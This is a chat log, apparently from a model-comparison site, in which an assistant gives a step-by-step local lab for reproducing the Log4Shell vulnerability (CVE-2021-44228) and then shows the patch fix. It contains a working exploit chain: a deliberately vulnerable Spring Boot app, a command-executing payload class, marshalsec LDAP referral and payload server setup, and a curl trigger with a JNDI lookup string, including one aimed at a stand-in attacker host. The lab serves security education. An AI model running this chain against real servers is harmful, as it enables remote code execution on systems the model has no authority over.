How to reproduce CVE-2021-44228
- User
How to reproduce CVE-2021-44228
- Assistant
Of course. Reproducing CVE-2021-44228, also known as Log4Shell, is a valuable exercise for understanding the mechanics of one of the most significant vulnerabilities of the last decade.
🔴 Important: Disclaimer and Ethical Warning 🔴
This guide is for educational and authorized security testing purposes only. The Log4Shell vulnerability is extremely severe.
- NEVER attempt to exploit systems you do not own or have explicit, written permission to test.
- ALWAYS perform these steps in a completely isolated, local environment (e.g., on your own machine, using Docker, or on a dedicated, offline virtual machine).
- Unauthorized access to computer systems is illegal and can have severe consequences.
Conceptual Overview: How Log4Shell Works
The exploit has three main components:
- The Vulnerable Application: A Java application using a vulnerable version of the Log4j library (e.g.,
2.0to2.14.1). The application must log a string that an attacker can control. - The Attacker's Server (LDAP Server): A malicious server controlled by the attacker. When the vulnerable application's Log4j library parses a specific string, it will connect to this server.
- The Payload Server (HTTP Server): The attacker's LDAP server tells the vulnerable application where to download the final payload (a malicious Java class). This server hosts that payload.
Here is the attack flow:
- The attacker sends a specially crafted string like
${jndi:ldap://attacker-server.com/a}to the vulnerable application. - The application logs this string using the vulnerable Log4j library.
- Log4j's "lookup" feature sees the
${jndi:...}pattern and tries to resolve it via JNDI (Java Naming and Directory Interface). - The Java application makes an LDAP request to
attacker-server.com. - The attacker's LDAP server responds with a directory entry that points to the payload, for example:
http://payload-server.com/Exploit.class. - The vulnerable application's JNDI service downloads the
Exploit.classfile from the payload server. - The application then instantiates this class, executing the code within its constructor or static block, achieving Remote Code Execution (RCE).
Step-by-Step Reproduction Guide
We will set up all three components on your local machine.
Prerequisites
- Java Development Kit (JDK): Version 8 is ideal for this demonstration. You can use other versions, but this is a known-good configuration.
- Maven: A Java build tool to manage dependencies.
- Git: To clone the necessary repositories.
- A Terminal/Command Prompt.
Part 1: Setting up the Vulnerable Application
We will create a simple Spring Boot web application that is intentionally vulnerable.
-
Create a
pom.xmlfile: This file defines our project and its dependencies. The key is to specify a vulnerablelog4j-coreversion.<?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <parent> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-parent</artifactId> <version>2.5.6</version> <relativePath/> <!-- lookup parent from repository --> </parent> <groupId>com.example</groupId> <artifactId>log4shell-vulnerable-app</artifactId> <version>0.0.1-SNAPSHOT</version> <name>log4shell-vulnerable-app</name> <description>Demo project for Spring Boot</description> <properties> <java.version>1.8</java.version> </properties> <dependencies> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-web</artifactId> <exclusions> <!-- Exclude Logback to use Log4j --> <exclusion> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-logging</artifactId> </exclusion> </exclusions> </dependency> <!-- Include vulnerable Log4j2 --> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-log4j2</artifactId> </dependency> </dependencies> <build> <plugins> <plugin> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-maven-plugin</artifactId> </plugin> </plugins> </build> <!-- Forcing the vulnerable version --> <dependencyManagement> <dependencies> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-bom</artifactId> <version>2.14.1</version> <type>pom</type> <scope>import</scope> </dependency> </dependencies> </dependencyManagement> </project> -
Create the Java Application file: Create the directory structure
src/main/java/com/example/log4shellvulnerableapp/and add the followingVulnerableApp.javafile.package com.example.log4shellvulnerableapp; import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; import org.springframework.boot.SpringApplication; import org.springframework.boot.autoconfigure.SpringBootApplication; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RequestHeader; import org.springframework.web.bind.annotation.RestController; @SpringBootApplication @RestController public class VulnerableApp { private static final Logger logger = LogManager.getLogger("VulnerableApp"); public static void main(String[] args) { SpringApplication.run(VulnerableApp.class, args); } @GetMapping("/") public String index(@RequestHeader("X-Api-Version") String apiVersion) { // The vulnerable part: logging user-controlled input logger.info("Received request with X-Api-Version: " + apiVersion); return "Hello, world!"; } } -
Build and Run the Vulnerable App: Open a terminal in the project's root directory (where
pom.xmlis) and run:# This will download dependencies and start the web server on port 8080 mvn spring-boot:runLeave this terminal running. Your vulnerable application is now listening on
localhost:8080.
Part 2: Setting up the Attacker's Infrastructure
This requires two components: the malicious LDAP server and the web server to host the payload. We'll use a popular tool to handle the LDAP part and Python for the web server.
-
Create the Payload (
Exploit.java): This simple Java class will execute a command when it's loaded. We'll make it open the Calculator app as a harmless proof of concept.Create a file named
Exploit.java:public class Exploit { static { try { // Harmless PoC: Open calculator. // On Windows: "calc.exe" // On macOS: "open /System/Applications/Calculator.app" // On Linux: "gnome-calculator" or "kcalc" String command = "open /System/Applications/Calculator.app"; Runtime.getRuntime().exec(command); } catch (Exception e) { e.printStackTrace(); } } } -
Compile the Payload: In the same directory as
Exploit.java, compile it:javac Exploit.javaThis will create an
Exploit.classfile. -
Start the Payload Web Server: In the same directory where
Exploit.classis located, start a simple Python web server. Open a new terminal for this.# This will serve files from the current directory on port 8888 python3 -m http.server 8888Keep this terminal running.
-
Start the Malicious LDAP Server: We will use
marshalsec, a tool for this purpose. Open a third terminal.First, clone and build it (you only need to do this once):
git clone https://github.com/mbechler/marshalsec.git cd marshalsec mvn clean package -DskipTests cd ..Now, start the LDAP server. It needs to know the address of your payload server.
- Find your local IP address (e.g.,
192.168.1.5). Do not uselocalhostor127.0.0.1here, as the vulnerable app needs to connect to this address.
# Replace YOUR_IP with your actual local IP address # The URL points to our payload server and the class to be served. java -cp marshalsec/target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<YOUR_IP>:8888/#Exploit"This command starts an LDAP server on port
1389. Keep this terminal running. - Find your local IP address (e.g.,
Part 3: Triggering the Exploit
Now all the pieces are in place. We will send a request to our vulnerable web app with the malicious JNDI string in the
X-Api-Versionheader. Open a fourth terminal.- Replace
<YOUR_IP>with the same IP you used for the LDAP server.
curl http://localhost:8080 -H "X-Api-Version: \${jndi:ldap://<YOUR_IP>:1389/a}"What You Should See
If everything worked, you will see the following happen almost instantly:
- Terminal 3 (LDAP Server): You will see a log line like
Send LDAP reference result for a redirecting to http://<YOUR_IP>:8888/Exploit.class. - Terminal 2 (Payload Server): You will see a log line showing a
GET /Exploit.classrequest. - Your Screen: The Calculator application will pop up on your computer. This confirms that the code from
Exploit.classwas executed by the vulnerable Java application. This is Remote Code Execution. - Terminal 1 (Vulnerable App): You may see some errors related to class casting, but the exploit has already succeeded by this point.
How to Fix the Vulnerability
To see the fix in action:
-
Stop the vulnerable application (Ctrl+C in its terminal).
-
Open your
pom.xmlfile and change thelog4j-bomversion to a patched version, like2.17.1.<!-- ... --> <dependencyManagement> <dependencies> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-bom</artifactId> <!-- UPGRADE TO A PATCHED VERSION --> <version>2.17.1</version> <type>pom</type> <scope>import</scope> </dependency> </dependencies> </dependencyManagement> <!-- ... --> -
Relaunch the application:
mvn spring-boot:run. -
Run the
curlcommand again.
This time, nothing will happen. The calculator will not launch. The application will simply log the string
${jndi:ldap://...}literally, because JNDI lookups are disabled by default in patched versions. You will not see any connection attempts in your LDAP or payload server terminals.
Other models, same or similar prompt
Responses were produced in different, uncontrolled contexts (system prompts, settings, prior turns). This is not a benchmark.